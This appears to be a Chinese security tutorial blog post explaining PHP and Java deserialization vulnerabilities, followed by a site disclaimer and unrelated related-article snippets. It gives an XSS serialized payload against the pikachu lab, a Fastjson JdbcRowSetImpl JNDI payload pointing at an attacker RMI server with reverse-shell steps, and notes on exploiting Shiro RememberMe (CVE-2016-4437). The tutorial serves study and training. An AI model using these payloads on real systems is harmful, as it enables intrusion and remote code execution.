2024HW --->反序列化漏洞!

对于反序列化,这个漏洞也是常用的,不过涉及到的方面非常非常广,比其他漏洞也难很多

于是本篇文章就分成PHP和JAVA的反序列化来讲讲

1.反序列化

想要理解反序列化,首先就要理解序列化

序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

对于反序列化之后的内容,一般有如下

2.PHP反序列化漏洞

对于PHP的序列化和反序列化,一般是涉及到两个函数

unserialize()   反序列化
serialize()    序列化
反序列化被利用一般有以下三个特点
1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
3、操作的内容需要有对象中的成员变量的值,比如filename

配合上以下的函数,就能达到RCE,任意文件删除,XSS...的效果

说了这么多,我们还是来举个栗子吧,先来看一段序列化的代码
<?phpclass SerializeTest
{public $var = "whoami";
}$obj = new SerializeTest();echo serialize($obj);

结果就是这样的

解释一下,这个过程,就是把SerializeTest这个对象里面的$var属性进行序列化  ,格式如下

O(Obejetc):13("类的长度"):"SerializeTest"(类名):1(序列化的属性个数):{s(序列化的是字符串类型):3(长度):"var"(属性名);s(类型):6(长度):"whoami"(内容)}

反序列化的过程如下

<?phpclass SerializeTest
{public $var = "whoami";
}$get=$_GET['test'];
$test=unserialize($get);
echo $test->var;?>

然后我们把刚才序列化之后的东西传进去

看到传入的东西被成功输出,而且是输出我们传入的东西

那么,如果我们输出一些别的东西捏!!!

O:13:"SerializeTest":1:{s:3:"var";s:29:"<script>alert("666")</script>";}

可以看见,如果过滤不严,被攻击者知道了类名,属性名,并且参数可控,而且有执行命令的操作,就会导致反序列化的漏洞!!!

那么就拿pikachu的靶场来练习一下

这没源代码我玩集贸啊?搞错了,上个源代码

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}

赶紧代码审计,可以发现它的类中用到一个$test的属性,并且通过了反序列化之后直接将test的内容输出,那就最简单的XSS攻击就好!!!

写个脚本

<?phpclass S
{public $test;function __construct(){$this->test='<script>alert("这就是反序列化")</script>';}
}$test =new S;
echo serialize($test);?>

然后就能看见

于是把poc粘贴到那个窗口就好,成功弹窗

3.JAVA反序列化漏洞

有了上面的php反序列化之后,我们就可以来看java的反序列化了

那么我们话不多说,直接上案例

1.Fastjson反序列化

对于这个fastjson,可以说是黑客和修复人员在斗智斗勇啊!!

哈哈哈哈哈

那么,我们就来讲一下它的原理

原理

正常序列化之后就是这样的格式

那么问题就来了,它属于哪一个类呢???为了解决这个问题

就引入了一个罪魁祸首!!!! Autotype!!!变成了这样!!!

那么问题就是这样的出现的

com.sun.rowset.JdbcRowSetImpl ,dataSourceName支持传入一个rmi的源,可以实现JNDI注
入攻击(这里是不是和log4j2的原理很像,虽然少了一步序列化)
所以它的poc就是这样了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}

八九不离十吧

  1. 构造恶意的poc,然后被反序列化,去访问我们VPS上的LDAP服务
  2. 然后再去访问我们的HTTP端口,下载恶意代码
  3. 最后执行这个恶意代码,并且反弹shell到我们的VPS

至此,就是Fastjson的原理了

2.Apache Shiro反序列化

Shiro反序列化可以说是蓝队或者红队面试的一个必问的问题!!!!

原理

那么Shiro在哪里产生了反序列化呢??? 就在RememerMe这里

很多shiro的登录界面都提供了记住我(RememberMe)这个功能,其中的内容直接放在了Cookie里面,包含了用户的一些信息。

可以看见,这个框架的特点就是有这个字段这里,就拿vulhub来讲一下这个

1.CVE-2010-3863

绕过目录,这个其实和反序列化没什么关系,只不过是我靶场开错了,于是顺便就讲一下这个

它这一关,就是直接在URL后面加上一个admin就可以绕过认证,直接登录

2.CVE-2016-4437

这个就是可以直接RCE了

直接用工具

不知道是不是插件出的问题,还是直接用工具去扫吧

弹个shell出来玩玩,一眼docker!!!

原理其实还就是因为,它的AES加密的时候,对应的密钥是直接写死在了代码里面,而且shiro又是一个开源的框架,所以就能被攻击者恶意利用!!

虽然现在的shiro不写密钥了,但是还是可以爆破!!! 原理???

其实原理就是你用正确密钥加密后的东西和错误的密钥加密的返回值是不同的

这也就解释了为什么工具能检测出是哪一个密钥的原因!!!!

顺便提一下,这些工具都不能用最新的版本,只能用jdk1.8

检测工具的话,还是很多,不过我喜欢用利群,嘻嘻嘻

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802527.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

默克尔(Merkle)树 - 原理及用途

默克尔&#xff08;Merkle&#xff09;树的原理以及用途 引言 在当今数字化时代&#xff0c;确保数据的完整性是至关重要的。默克尔树作为一种高效的数据结构&#xff0c;被广泛应用于网络安全、分布式系统以及加密货币等领域&#xff0c;用于验证大量数据的完整性和一致性 数…

【HTB】 OpenSource

OpenSource 靶机地址&#xff1a;https://app.hackthebox.com/machines/471 信息收集 ┌──(root㉿kali)-[~/Desktop] └─# nmap -Pn -sC -sV -p- 10.129.212.208 --min-rate5000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 16:01 CST Nmap scan report f…

GPIO口工作原理的超详细解释

一、GPIO基本结构 每个GPIO内部都有这样的一个电路结构&#xff0c;这个结构在本文下面会具体介绍。 这边的电路图稍微提一下&#xff1a; 保护二极管&#xff1a; IO引脚上下两边两个二极管用于防止引脚外部过高、过低的电压输入。当引脚电压高于VDD时&#xff0c;上方的二…

Altair® (澳汰尔)Inspire™ Print3D 打造高效的增材制造设计

Altair &#xff08;澳汰尔&#xff09;Inspire™ Print3D 打造高效的增材制造设计 借助 Inspire Print3D&#xff0c;可加速创新、结构高效的 3D 打印部件的创建、优化和研究&#xff0c;提供快速准确的工具集&#xff0c;可用于实现选择性激光熔融 (SLM) 部件的设计和过程仿…

Bilstm双向长短期神经网络多输入单输出回归分析

目录 背影 摘要 LSTM的基本定义 LSTM实现的步骤 BILSTM神经网络 基于双向长短期神经网络的多输入单输出回归分析,基于bilstm的多输入单输出回归分析 完整代码:Bilstm双向长短期神经网络多输入单输出回归分析.zip资源-CSDN文库 https://download.csdn.net/download/abc9918351…

基于SSM+Jsp+Mysql的快递管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…

背包问题四种类型

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、01背包二、完全背包1.引入库 三.多重背包优化&#xff1a; 四.分组背包总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 例如&…

第十三章 OpenGL ES-RGB、HSV、HSL模型介绍

第十三章 OpenGL ES-RGB、HSV、HSL模型详细介绍 第一章 OpenGL ES 基础-屏幕、纹理、顶点坐标 第二章 OpenGL ES 基础-GLSL语法简单总结 第三章 OpenGL ES 基础-GLSL渲染纹理 第四章 OpenGL ES 基础-位移、缩放、旋转原理 第五章 OpenGL ES 基础-透视投影矩阵与正交投影矩阵…

ubuntu23 安装nodejs

在 Ubuntu 23 上安装 Node.js&#xff0c;您可以遵循以下步骤&#xff1a; 步骤 1: 更新系统软件包 首先&#xff0c;确保您的 Ubuntu 系统软件包列表是最新的。打开终端&#xff08;Terminal&#xff09;并运行&#xff1a; sudo apt update输入您的用户密码&#xff08;输…

模拟memcpy和memmove

memcpy是内存复制函数&#xff0c;原型如下 void *memmove(void *dest, const void *src, size_t count) 从src地址复制count个字节到dest 模拟实现 void *memcpy(void *dest, const void *src, size_t count) {if (dest NULL || src NULL)return NULL;void *ans dest;f…

HackTheBox-Machines--CozyHosting

文章目录 1 端口扫描2 测试思路3 访问web站点4 横向移动5 权限提升 CozyHosting 测试过程 1 端口扫描 nmap -sC -sV 10.129.229.882 测试思路 目标开启了80和22端口&#xff0c;所以出发点从80端口开始。 1.通过在web网站寻找漏洞&#xff0c;获取到用户名和密码&#xff0c;远…

用GCC把C语言文件编译成Intel语法的汇编代码

2024年4月9日&#xff0c;周二下午 GCC默认把C语言文件编译成AT&T语法的汇编代码&#xff0c; GCC 提供了 -masmintel 选项来生成 Intel 风格的汇编代码&#xff0c; 通过如下命令可以编译成Intel语法&#xff1a; gcc -S -masmintel -o output.s input.c在这个命令中&a…

CSS层叠样式表学习(基础选择器)

&#xff08;大家好&#xff0c;今天我们将继续来学习CSS&#xff08;2&#xff09;的相关知识&#xff0c;大家可以在评论区进行互动答疑哦~加油&#xff01;&#x1f495;&#xff09; 目录 二、CSS基础选择器 2.1 CSS选择器的作用 2.2 选择器分类 2.3 标签选择器 2.…

Swift 异步序列 AsyncStream 新“玩法”以及内存泄漏、死循环那些事儿(上)

概览 异步序列&#xff08;Async Sequence&#xff09;是 Swift 5.5 新并发模型中的一员“悍将”&#xff0c;系统标准库中很多类都做了重构以支持异步序列。我们还可以用 AsyncStream 辅助结构非常方便的创建自己的异步序列。 这里我们就来一起聊聊 AsyncStream 结构&#xf…

写两个函数,分别求两个整数的最大公约数和最小公倍数,用主函数调用这两个函数,并输出结果.(两个整数由键盘输入)

#include <stdio.h> /* * 主函数&#xff1a;计算并打印两个数的最大公约数和最小公倍数 */ int main(){ // 定义计算最大公约数和最小公倍数的函数 int hcf(int,int); int lcd(int,int,int); int u,v,h,l; // u,v为输入的两个数&#xff0c;h为最大公…

基于OTA技术的工作总结

一、引言 随着互联网的飞速发展和智能化设备的普及&#xff0c;OTA&#xff08;Over-the-Air&#xff09;技术逐渐成为了软件更新、远程配置及故障诊断的核心手段。在过去的一段时间里&#xff0c;我负责了基于OTA技术的相关工作&#xff0c;现将这段时间的工作进行总结&#…

win10下使用qemu安装aarch64架构的iso镜像虚拟机

1、win下安装qemu 最新版 可在如下链接进行下载安装 QEMU for Windows – Installers (64 bit) 2、准备aarch64的iso镜像 我这里使用的是 Kylin-Server-10-SP2-aarch64-Release-Build09-20210524.iso 3、使用如下命令启动虚拟机安装 打开powershell cd C:\Program Files\…

B02、关于垃圾回收器-6.2

1、关于 GC 的分类 1.1、串行 VS 并行 按线程数分&#xff0c;可以分为串行垃圾回收器和并行垃圾回收器。 串行回收指的是在同一时间段内只允许有一个CPU用于执行垃圾回收操作&#xff0c;此时工作线程被暂停&#xff0c;直至垃圾收集工作结束。 在诸如单CPU处理器或者较小的应…

【Leetcode】2009. 使数组连续的最少操作数

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517; 给你一个整数数组 n u m s nums nums 。每一次操作中&#xff0c;你可以将 n u m s nums nums 中 任意 一个元素替换成 任意 整数。 如果 n u m s nums nums 满足以下条件&…

记一次项目上某系统web渗透测试

第一个信息泄露漏洞 首先在登录页忘记密码处点击查询获取用户进行抓包可以获得用户的token固定id值 第二个用户名枚举漏洞 接下来就是批量遍历出存在数据库用户id值以及用户名&#xff0c;方便后面其他测试使用。 第三弱口令漏洞 这里对于爆破没有限制&#xff0c;因此根据获…